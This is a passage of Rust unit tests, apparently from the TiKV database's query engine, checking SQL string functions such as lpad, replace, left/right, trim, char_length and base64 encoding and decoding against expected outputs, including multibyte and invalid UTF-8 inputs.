cases.append(&mut common_rpad_cases());
for (arg, len, pad, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.push_param(len)
.push_param(pad)
.evaluate(ScalarFuncSig::Rpad)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_lpad_utf8() {
let mut cases = vec![
(
Some("a多字节".as_bytes().to_vec()),
Some(3),
Some("测试".as_bytes().to_vec()),
Some("a多字".as_bytes().to_vec()),
),
(
Some("a多字节".as_bytes().to_vec()),
Some(4),
Some("测试".as_bytes().to_vec()),
Some("a多字节".as_bytes().to_vec()),
),
(
Some("a多字节".as_bytes().to_vec()),
Some(5),
Some("测试".as_bytes().to_vec()),
Some("测a多字节".as_bytes().to_vec()),
),
(
Some("a多字节".as_bytes().to_vec()),
Some(6),
Some("测试".as_bytes().to_vec()),
Some("测试a多字节".as_bytes().to_vec()),
),
(
Some("a多字节".as_bytes().to_vec()),
Some(7),
Some("测试".as_bytes().to_vec()),
Some("测试测a多字节".as_bytes().to_vec()),
),
(
Some("a多字节".as_bytes().to_vec()),
Some(i64::from(MAX_BLOB_WIDTH) / 4 + 1),
Some("测试".as_bytes().to_vec()),
None,
),
];
cases.append(&mut common_lpad_cases());
for (arg, len, pad, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.push_param(len)
.push_param(pad)
.evaluate(ScalarFuncSig::LpadUtf8)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_replace() {
let cases = vec![
(None, None, None, None),
(None, Some(b"a".to_vec()), Some(b"b".to_vec()), None),
(Some(b"a".to_vec()), None, Some(b"b".to_vec()), None),
(Some(b"a".to_vec()), Some(b"b".to_vec()), None, None),
(
Some(b"www.mysql.com".to_vec()),
Some(b"mysql".to_vec()),
Some(b"pingcap".to_vec()),
Some(b"www.pingcap.com".to_vec()),
),
(
Some(b"www.mysql.com".to_vec()),
Some(b"w".to_vec()),
Some(b"1".to_vec()),
Some(b"111.mysql.com".to_vec()),
),
(
Some(b"1234".to_vec()),
Some(b"2".to_vec()),
Some(b"55".to_vec()),
Some(b"15534".to_vec()),
),
(
Some(b"".to_vec()),
Some(b"a".to_vec()),
Some(b"b".to_vec()),
Some(b"".to_vec()),
),
(
Some(b"abc".to_vec()),
Some(b"".to_vec()),
Some(b"d".to_vec()),
Some(b"abc".to_vec()),
),
(
Some(b"aaa".to_vec()),
Some(b"a".to_vec()),
Some(b"".to_vec()),
Some(b"".to_vec()),
),
(
Some(b"aaa".to_vec()),
Some(b"A".to_vec()),
Some(b"".to_vec()),
Some(b"aaa".to_vec()),
),
(
Some("新年快乐".as_bytes().to_vec()),
Some("年".as_bytes().to_vec()),
Some("春".as_bytes().to_vec()),
Some("新春快乐".as_bytes().to_vec()),
),
(
Some("心心相印".as_bytes().to_vec()),
Some("心".as_bytes().to_vec()),
Some("❤️".as_bytes().to_vec()),
Some("❤️❤️相印".as_bytes().to_vec()),
),
(
Some(b"Hello \xF0\x90\x80World".to_vec()),
Some(b"World".to_vec()),
Some(b"123".to_vec()),
Some(b"Hello \xF0\x90\x80123".to_vec()),
),
];
for (s, from_str, to_str, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(s)
.push_param(from_str)
.push_param(to_str)
.evaluate(ScalarFuncSig::Replace)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_left() {
let cases = vec![
(Some(b"hello".to_vec()), Some(0), Some(b"".to_vec())),
(Some(b"hello".to_vec()), Some(1), Some(b"h".to_vec())),
(
Some("数据库".as_bytes().to_vec()),
Some(2),
Some(vec![230u8, 149u8]),
),
(
Some("忠犬ハチ公".as_bytes().to_vec()),
Some(3),
Some(vec![229u8, 191u8, 160u8]),
),
(
Some("数据库".as_bytes().to_vec()),
Some(100),
Some("数据库".as_bytes().to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(-1),
Some(b"".to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(i64::max_value()),
Some("数据库".as_bytes().to_vec()),
),
(None, Some(-1), None),
(Some(b"hello".to_vec()), None, None),
(None, None, None),
];
for (lhs, rhs, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(lhs)
.push_param(rhs)
.evaluate(ScalarFuncSig::Left)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_left_utf8() {
let cases = vec![
(Some(b"hello".to_vec()), Some(0i64), Some(b"".to_vec())),
(Some(b"hello".to_vec()), Some(1i64), Some(b"h".to_vec())),
(
Some("数据库".as_bytes().to_vec()),
Some(2i64),
Some("数据".as_bytes().to_vec()),
),
(
Some("忠犬ハチ公".as_bytes().to_vec()),
Some(3i64),
Some("忠犬ハ".as_bytes().to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(100i64),
Some("数据库".as_bytes().to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(-1i64),
Some(b"".to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(i64::max_value()),
Some("数据库".as_bytes().to_vec()),
),
(None, Some(-1), None),
(Some(b"hello".to_vec()), None, None),
(None, None, None),
];
for (lhs, rhs, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(lhs)
.push_param(rhs)
.evaluate(ScalarFuncSig::LeftUtf8)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_right() {
let cases = vec![
(Some(b"hello".to_vec()), Some(0), Some(b"".to_vec())),
(Some(b"hello".to_vec()), Some(1), Some(b"o".to_vec())),
(
Some("数据库".as_bytes().to_vec()),
Some(2),
Some(vec![186u8, 147u8]),
),
(
Some("忠犬ハチ公".as_bytes().to_vec()),
Some(3),
Some(vec![229u8, 133u8, 172u8]),
),
(
Some("数据库".as_bytes().to_vec()),
Some(100),
Some("数据库".as_bytes().to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(-1),
Some(b"".to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(i64::max_value()),
Some("数据库".as_bytes().to_vec()),
),
(None, Some(-1), None),
(Some(b"hello".to_vec()), None, None),
(None, None, None),
];
for (lhs, rhs, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(lhs)
.push_param(rhs)
.evaluate(ScalarFuncSig::Right)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_right_utf8() {
let cases = vec![
(Some(b"hello".to_vec()), Some(0), Some(b"".to_vec())),
(Some(b"hello".to_vec()), Some(1), Some(b"o".to_vec())),
(
Some("数据库".as_bytes().to_vec()),
Some(2),
Some("据库".as_bytes().to_vec()),
),
(
Some("忠犬ハチ公".as_bytes().to_vec()),
Some(3),
Some("ハチ公".as_bytes().to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(100),
Some("数据库".as_bytes().to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(-1),
Some(b"".to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some(i64::max_value()),
Some("数据库".as_bytes().to_vec()),
),
(None, Some(-1), None),
(Some(b"hello".to_vec()), None, None),
(None, None, None),
];
for (lhs, rhs, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(lhs)
.push_param(rhs)
.evaluate(ScalarFuncSig::RightUtf8)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_upper_utf8() {
let cases = vec![
(Some(b"hello".to_vec()), Some(b"HELLO".to_vec())),
(Some(b"123".to_vec()), Some(b"123".to_vec())),
(
Some("café".as_bytes().to_vec()),
Some("CAFÉ".as_bytes().to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some("数据库".as_bytes().to_vec()),
),
(
Some("ночь на окраине москвы".as_bytes().to_vec()),
Some("НОЧЬ НА ОКРАИНЕ МОСКВЫ".as_bytes().to_vec()),
),
(
Some("قاعدة البيانات".as_bytes().to_vec()),
Some("قاعدة البيانات".as_bytes().to_vec()),
),
(None, None),
];
for (arg, exp) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg.clone())
.evaluate(ScalarFuncSig::UpperUtf8)
.unwrap();
assert_eq!(output, exp);
}
}
#[test]
fn test_upper() {
let cases = vec![
(Some(b"hello".to_vec()), Some(b"hello".to_vec())),
(Some(b"123".to_vec()), Some(b"123".to_vec())),
(
Some("café".as_bytes().to_vec()),
Some("café".as_bytes().to_vec()),
),
(
Some("数据库".as_bytes().to_vec()),
Some("数据库".as_bytes().to_vec()),
),
(
Some("ночь на окраине москвы".as_bytes().to_vec()),
Some("ночь на окраине москвы".as_bytes().to_vec()),
),
(
Some("قاعدة البيانات".as_bytes().to_vec()),
Some("قاعدة البيانات".as_bytes().to_vec()),
),
(None, None),
];
for (arg, exp) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg.clone())
.evaluate(ScalarFuncSig::Upper)
.unwrap();
assert_eq!(output, exp);
}
}
#[test]
fn test_hex_str_arg() {
let test_cases = vec![
(Some(b"abc".to_vec()), Some(b"616263".to_vec())),
(
Some("你好".as_bytes().to_vec()),
Some(b"E4BDA0E5A5BD".to_vec()),
),
(None, None),
];
for (arg, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate(ScalarFuncSig::HexStrArg)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_locate_2_args() {
let test_cases = vec![
(None, None, None),
(None, Some("abc"), None),
(Some("abc"), None, None),
(Some(""), Some("foobArbar"), Some(1)),
(Some(""), Some(""), Some(1)),
(Some("xxx"), Some(""), Some(0)),
(Some("BaR"), Some("foobArbar"), Some(0)),
(Some("bar"), Some("foobArbar"), Some(7)),
(
Some("好世"),
Some("你好世界"),
Some(1 + "你好世界".find("好世").unwrap() as i64),
),
];
for (substr, s, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(substr.map(|v| v.as_bytes().to_vec()))
.push_param(s.map(|v| v.as_bytes().to_vec()))
.evaluate(ScalarFuncSig::Locate2Args)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_reverse() {
let cases = vec![
(Some(b"hello".to_vec()), Some(b"olleh".to_vec())),
(Some(b"".to_vec()), Some(b"".to_vec())),
(
Some("中国".as_bytes().to_vec()),
Some(vec![0o275u8, 0o233u8, 0o345u8, 0o255u8, 0o270u8, 0o344u8]),
),
(None, None),
];
for (arg, expect_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate(ScalarFuncSig::Reverse)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_locate_3_args() {
let cases = vec![
(None, None, None, None),
(None, Some(""), Some(1), None),
(Some(""), None, None, None),
(Some(""), Some("foobArbar"), Some(1), Some(1)),
(Some(""), Some("foobArbar"), Some(0), Some(0)),
(Some(""), Some("foobArbar"), Some(2), Some(2)),
(Some(""), Some("foobArbar"), Some(9), Some(9)),
(Some(""), Some("foobArbar"), Some(10), Some(10)),
(Some(""), Some("foobArbar"), Some(11), Some(0)),
(Some(""), Some(""), Some(1), Some(1)),
(Some("BaR"), Some("foobArbar"), Some(3), Some(0)),
(Some("bar"), Some("foobArbar"), Some(1), Some(7)),
(
Some("好世"),
Some("你好世界"),
Some(1),
Some(1 + "你好世界".find("好世").unwrap() as i64),
),
];
for (substr, s, pos, exp) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(substr.map(|v| v.as_bytes().to_vec()))
.push_param(s.map(|v| v.as_bytes().to_vec()))
.push_param(pos)
.evaluate(ScalarFuncSig::Locate3Args)
.unwrap();
assert_eq!(output, exp)
}
}
#[test]
fn test_field_int() {
let test_cases = vec![
(vec![Some(1), Some(-2), Some(3)], Some(0)),
(vec![Some(-1), Some(2), Some(-1), Some(2)], Some(2)),
(
vec![Some(i64::MAX), Some(0), Some(i64::MIN), Some(i64::MAX)],
Some(3),
),
(vec![None, Some(0), Some(0)], Some(0)),
(vec![None, None, Some(0)], Some(0)),
(vec![Some(100)], Some(0)),
];
for (args, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_params(args)
.evaluate(ScalarFuncSig::FieldInt)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_field_real() {
let test_cases = vec![
(vec![Some(1.0), Some(-2.0), Some(9.0)], Some(0)),
(vec![Some(-1.0), Some(2.0), Some(-1.0), Some(2.0)], Some(2)),
(
vec![Some(f64::MAX), Some(0.0), Some(f64::MIN), Some(f64::MAX)],
Some(3),
),
(vec![None, Some(1.0), Some(1.0)], Some(0)),
(vec![None, None, Some(0.0)], Some(0)),
(vec![Some(10.0)], Some(0)),
];
for (args, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_params(args)
.evaluate(ScalarFuncSig::FieldReal)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_field_string() {
let test_cases = vec![
(
vec![
Some(b"foo".to_vec()),
Some(b"foo".to_vec()),
Some(b"bar".to_vec()),
Some(b"baz".to_vec()),
],
Some(1),
),
(
vec![
Some(b"foo".to_vec()),
Some(b"bar".to_vec()),
Some(b"baz".to_vec()),
Some(b"hello".to_vec()),
],
Some(0),
),
(
vec![
Some(b"hello".to_vec()),
Some(b"world".to_vec()),
Some(b"world".to_vec()),
Some(b"hello".to_vec()),
],
Some(3),
),
(
vec![
Some(b"Hello".to_vec()),
Some(b"Hola".to_vec()),
Some("Cześć".as_bytes().to_vec()),
Some("你好".as_bytes().to_vec()),
Some("Здравствуйте".as_bytes().to_vec()),
Some(b"Hello World!".to_vec()),
Some(b"Hello".to_vec()),
],
Some(6),
),
(
vec![
None,
Some(b"DataBase".to_vec()),
Some(b"Hello World!".to_vec()),
],
Some(0),
),
(vec![None, None, Some(b"Hello World!".to_vec())], Some(0)),
(vec![Some(b"Hello World!".to_vec())], Some(0)),
];
for (args, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_params(args)
.evaluate(ScalarFuncSig::FieldString)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_space() {
let test_cases = vec![
(None, None),
(Some(0), Some(b"".to_vec())),
(Some(0), Some(b"".to_vec())),
(Some(3), Some(b" ".to_vec())),
(Some(-1), Some(b"".to_vec())),
(Some(i64::max_value()), None),
(
Some(i64::from(tidb_query_datatype::MAX_BLOB_WIDTH) + 1),
None,
),
(
Some(i64::from(tidb_query_datatype::MAX_BLOB_WIDTH)),
Some(vec![
super::SPACE;
tidb_query_datatype::MAX_BLOB_WIDTH as usize
]),
),
];
for (len, exp) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(len)
.evaluate(ScalarFuncSig::Space)
.unwrap();
assert_eq!(output, exp);
}
}
#[test]
fn test_elt() {
let test_cases: Vec<(Vec<ScalarValue>, _)> = vec![
(
vec![
Some(1).into(),
Some(b"DataBase".to_vec()).into(),
Some(b"Hello World!".to_vec()).into(),
],
Some(b"DataBase".to_vec()),
),
(
vec![
Some(2).into(),
Some(b"DataBase".to_vec()).into(),
Some(b"Hello World!".to_vec()).into(),
],
Some(b"Hello World!".to_vec()),
),
(
vec![
None::<Int>.into(),
Some(b"DataBase".to_vec()).into(),
Some(b"Hello World!".to_vec()).into(),
],
None,
),
(vec![None::<Int>.into(), None::<Bytes>.into()], None),
(
vec![
Some(1).into(),
None::<Bytes>.into(),
Some(b"Hello World!".to_vec()).into(),
],
None,
),
(
vec![
Some(3).into(),
None::<Bytes>.into(),
Some(b"Hello World!".to_vec()).into(),
],
None,
),
(
vec![
Some(0).into(),
None::<Bytes>.into(),
Some(b"Hello World!".to_vec()).into(),
],
None,
),
(
vec![
Some(-1).into(),
None::<Bytes>.into(),
Some(b"Hello World!".to_vec()).into(),
],
None,
),
(
vec![
Some(4).into(),
None::<Bytes>.into(),
Some(b"Hello".to_vec()).into(),
Some(b"Hola".to_vec()).into(),
Some("Cześć".as_bytes().to_vec()).into(),
Some("你好".as_bytes().to_vec()).into(),
Some("Здравствуйте".as_bytes().to_vec()).into(),
Some(b"Hello World!".to_vec()).into(),
],
Some("Cześć".as_bytes().to_vec()),
),
];
for (args, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_params(args)
.evaluate(ScalarFuncSig::Elt)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_strcmp() {
let test_cases = vec![
(Some(b"123".to_vec()), Some(b"123".to_vec()), Some(0)),
(Some(b"123".to_vec()), Some(b"1".to_vec()), Some(1)),
(Some(b"1".to_vec()), Some(b"123".to_vec()), Some(-1)),
(Some(b"123".to_vec()), Some(b"45".to_vec()), Some(-1)),
(
Some("你好".as_bytes().to_vec()),
Some(b"hello".to_vec()),
Some(1),
),
(Some(b"".to_vec()), Some(b"123".to_vec()), Some(-1)),
(Some(b"123".to_vec()), Some(b"".to_vec()), Some(1)),
(Some(b"".to_vec()), Some(b"".to_vec()), Some(0)),
(None, Some(b"123".to_vec()), None),
(Some(b"123".to_vec()), None, None),
(Some(b"".to_vec()), None, None),
(None, Some(b"".to_vec()), None),
];
for (left, right, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(left)
.push_param(right)
.evaluate(ScalarFuncSig::Strcmp)
.unwrap();
assert_eq!(output, expect_output);
}
}
#[test]
fn test_instr_utf8() {
let cases: Vec<(&str, &str, i64)> = vec![
("a", "abcdefg", 1),
("0", "abcdefg", 0),
("c", "abcdefg", 3),
("F", "abcdefg", 6),
("cd", "abcdefg", 3),
(" ", "abcdefg", 0),
("", "", 1),
(" ", " ", 1),
(" ", "", 0),
("", " ", 1),
("eFg", "abcdefg", 5),
("def", "abcdefg", 4),
("字节", "a多字节", 3),
("a", "a多字节", 1),
("bar", "foobarbar", 4),
("xbar", "foobarbar", 0),
("好世", "你好世界", 2),
];
for (substr, s, exp) in cases {
let substr = Some(substr.as_bytes().to_vec());
let s = Some(s.as_bytes().to_vec());
let got = RpnFnScalarEvaluator::new()
.push_param(s)
.push_param(substr)
.evaluate::<Int>(ScalarFuncSig::InstrUtf8)
.unwrap();
assert_eq!(got, Some(exp))
}
let null_cases = vec![
(None, Some(b"".to_vec()), None),
(None, Some(b"foobar".to_vec()), None),
(Some(b"".to_vec()), None, None),
(Some(b"bar".to_vec()), None, None),
(None, None, None),
];
for (substr, s, exp) in null_cases {
let got = RpnFnScalarEvaluator::new()
.push_param(s)
.push_param(substr)
.evaluate::<Int>(ScalarFuncSig::InstrUtf8)
.unwrap();
assert_eq!(got, exp);
}
}
#[test]
fn test_find_in_set() {
let cases = vec![
("foo", "foo,bar", 1),
("foo", "foobar,bar", 0),
(" foo ", "foo, foo ", 2),
("", "foo,bar,", 3),
("", "", 0),
("a,b", "a,b,c", 0),
];
for (s, str_list, exp) in cases {
let s = Some(s.as_bytes().to_vec());
let str_list = Some(str_list.as_bytes().to_vec());
let got = RpnFnScalarEvaluator::new()
.push_param(s)
.push_param(str_list)
.evaluate::<Int>(ScalarFuncSig::FindInSet)
.unwrap();
assert_eq!(got, Some(exp))
}
let null_cases = vec![
(Some(b"foo".to_vec()), None, None),
(None, Some(b"bar".to_vec()), None),
(None, None, None),
];
for (s, str_list, exp) in null_cases {
let got = RpnFnScalarEvaluator::new()
.push_param(s)
.push_param(str_list)
.evaluate::<Int>(ScalarFuncSig::FindInSet)
.unwrap();
assert_eq!(got, exp);
}
}
#[test]
fn test_trim_1_arg() {
let test_cases = vec![
(None, None),
(Some(" bar "), Some("bar")),
(Some(" b "), Some("b")),
(Some(" b ar "), Some("b ar")),
(Some("bar"), Some("bar")),
(Some(" "), Some("")),
(Some(" \tbar\t "), Some("\tbar\t")),
(Some(" \rbar\r "), Some("\rbar\r")),
(Some(" \nbar\n "), Some("\nbar\n")),
(Some(""), Some("")),
(Some(" 你好"), Some("你好")),
(Some(" 你 好 "), Some("你 好")),
(Some(" 분산 데이터베이스 "), Some("분산 데이터베이스")),
(
Some(" あなたのことが好きです "),
Some("あなたのことが好きです"),
),
];
for (arg, expect_output) in test_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg.map(|s| s.as_bytes().to_vec()))
.evaluate(ScalarFuncSig::Trim1Arg)
.unwrap();
assert_eq!(output, expect_output.map(|s| s.as_bytes().to_vec()));
}
let invalid_utf8_output = RpnFnScalarEvaluator::new()
.push_param(Some(b" \xF0 Hello \x90 World \x80 ".to_vec()))
.evaluate(ScalarFuncSig::Trim1Arg)
.unwrap();
assert_eq!(
invalid_utf8_output,
Some(b"\xF0 Hello \x90 World \x80".to_vec())
);
}
#[test]
fn test_trim_3_args() {
let tests = vec![
(
Some("xxxbarxxx"),
Some("x"),
Some(TrimDirection::Leading as i64),
Some("barxxx"),
),
(
Some("barxxyz"),
Some("xyz"),
Some(TrimDirection::Trailing as i64),
Some("barx"),
),
(
Some("xxxbarxxx"),
Some("x"),
Some(TrimDirection::Both as i64),
Some("bar"),
),
];
for (arg, pat, direction, exp) in tests {
let arg = arg.map(|s| s.as_bytes().to_vec());
let pat = pat.map(|s| s.as_bytes().to_vec());
let exp = exp.map(|s| s.as_bytes().to_vec());
let got = RpnFnScalarEvaluator::new()
.push_param(arg)
.push_param(pat)
.push_param(direction)
.evaluate(ScalarFuncSig::Trim3Args)
.unwrap();
assert_eq!(got, exp);
}
let invalid_tests = vec![
(
None,
Some(b"x".to_vec()),
Some(TrimDirection::Leading as i64),
None as Option<Bytes>,
),
(
Some(b"bar".to_vec()),
None,
Some(TrimDirection::Leading as i64),
None as Option<Bytes>,
),
];
for (arg, pat, direction, exp) in invalid_tests {
let got = RpnFnScalarEvaluator::new()
.push_param(arg)
.push_param(pat)
.push_param(direction)
.evaluate(ScalarFuncSig::Trim3Args)
.unwrap();
assert_eq!(got, exp);
}
// test invalid direction value
let args = (Some(b"bar".to_vec()), Some(b"b".to_vec()), Some(0 as i64));
let got: Result<Option<Bytes>> = RpnFnScalarEvaluator::new()
.push_param(args.0)
.push_param(args.1)
.push_param(args.2)
.evaluate(ScalarFuncSig::Trim3Args);
assert!(got.is_err());
}
#[test]
fn test_char_length() {
let cases = vec![
(Some(b"HELLO".to_vec()), Some(5)),
(Some(b"123".to_vec()), Some(3)),
(Some(b"".to_vec()), Some(0)),
(Some("CAFÉ".as_bytes().to_vec()), Some(5)),
(Some("数据库".as_bytes().to_vec()), Some(9)),
(Some("НОЧЬ НА ОКРАИНЕ МОСКВЫ".as_bytes().to_vec()), Some(41)),
(Some("قاعدة البيانات".as_bytes().to_vec()), Some(27)),
(Some(vec![0x00, 0x9f, 0x92, 0x96]), Some(4)), // invalid utf8
(Some(b"Hello\xF0\x90\x80World".to_vec()), Some(13)), // invalid utf8
(None, None),
];
for (arg, expected_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate(ScalarFuncSig::CharLength)
.unwrap();
assert_eq!(output, expected_output);
}
}
#[test]
fn test_char_length_utf8() {
let cases = vec![
(Some(b"HELLO".to_vec()), Some(5)),
(Some(b"123".to_vec()), Some(3)),
(Some(b"".to_vec()), Some(0)),
(Some("CAFÉ".as_bytes().to_vec()), Some(4)),
(Some("数据库".as_bytes().to_vec()), Some(3)),
(Some("НОЧЬ НА ОКРАИНЕ МОСКВЫ".as_bytes().to_vec()), Some(22)),
(Some("قاعدة البيانات".as_bytes().to_vec()), Some(14)),
(None, None),
];
for (arg, expected_output) in cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate(ScalarFuncSig::CharLengthUtf8)
.unwrap();
assert_eq!(output, expected_output);
}
let invalid_utf8_cases: Vec<Vec<u8>> = vec![
vec![0xc0],
vec![0xf6],
vec![0x00, 0x9f],
vec![0xc3, 0x28],
vec![0xe2, 0x28, 0xa1],
vec![0xe2, 0x82, 0x28],
vec![0xf0, 0x28, 0x8c, 0xbc],
vec![0xf0, 0x90, 0x28, 0xbc],
vec![0xf0, 0x28, 0x8c, 0x28],
vec![0xf8, 0xa1, 0xa1, 0xa1, 0xa0],
vec![0xfc, 0xa1, 0xa1, 0xa1, 0xa1, 0xa0],
];
for arg in invalid_utf8_cases {
let output = RpnFnScalarEvaluator::new()
.push_param(arg)
.evaluate::<i64>(ScalarFuncSig::CharLengthUtf8);
assert!(output.is_err());
}
}
#[test]
fn test_to_base64() {
let cases = vec![
("", ""),
("abc", "YWJj"),
("ab c", "YWIgYw=="),
("1", "MQ=="),
("1.1", "MS4x"),
("ab\nc", "YWIKYw=="),
("ab\tc", "YWIJYw=="),
("qwerty123456", "cXdlcnR5MTIzNDU2"),
(
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
"QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0\nNTY3ODkrLw==",
),
(
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
"QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0\nNTY3ODkrL0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4\neXowMTIzNDU2Nzg5Ky9BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3Bx\ncnN0dXZ3eHl6MDEyMzQ1Njc4OSsv",
),
(
"ABCD EFGHI\nJKLMNOPQRSTUVWXY\tZabcdefghijklmnopqrstuv wxyz012\r3456789+/",
"QUJDRCAgRUZHSEkKSktMTU5PUFFSU1RVVldYWQlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1diAgd3h5\nejAxMg0zNDU2Nzg5Ky8=",
),
(
"000000000000000000000000000000000000000000000000000000000",
"MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw",
),
(
"0000000000000000000000000000000000000000000000000000000000",
"MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw\nMA==",
),
(
"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw\nMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw",
)
];
for (arg, expected) in cases {
let param = Some(arg.to_string().into_bytes());
let expected_output = Some(expected.to_string().into_bytes());
let output = RpnFnScalarEvaluator::new()
.push_param(param)
.evaluate::<Bytes>(ScalarFuncSig::ToBase64)
.unwrap();
assert_eq!(output, expected_output);
}
}
#[test]
fn test_from_base64() {
let tests = vec![
("", ""),
("YWJj", "abc"),
("YWIgYw==", "ab c"),
("YWIKYw==", "ab\nc"),
("YWIJYw==", "ab\tc"),
("cXdlcnR5MTIzNDU2", "qwerty123456"),
(
"QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0\nNTY3ODkrL0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4\neXowMTIzNDU2Nzg5Ky9BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3Bx\ncnN0dXZ3eHl6MDEyMzQ1Njc4OSsv",
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
),
(
"QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLw==",
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
),
(
"QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLw==",
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
),
(
"QUJDREVGR0hJSkt\tMTU5PUFFSU1RVVld\nYWVphYmNkZ\rWZnaGlqa2xt bm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLw==",
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
),
];
for (arg, expected) in tests {
let param = Some(arg.to_string().into_bytes());
let expected_output = Some(expected.to_string().into_bytes());
let output = RpnFnScalarEvaluator::new()
.push_param(param)
.evaluate::<Bytes>(ScalarFuncSig::FromBase64)
.unwrap();
assert_eq!(output, expected_output);
}
let invalid_base64_output = RpnFnScalarEvaluator::new()
.push_param(Some(b"src".to_vec()))
.evaluate(ScalarFuncSig::FromBase64)
.unwrap();
assert_eq!(invalid_base64_output, Some(b"".to_vec()));
}
#[test]
fn test_quote() {
let cases: Vec<(&str, &str)> = vec![
(r"Don\'t!", r"'Don\\\'t!'"),
(r"Don't", r"'Don\'t'"),
(r"\'", r"'\\\''"),
(r#"\""#, r#"'\\"'"#),
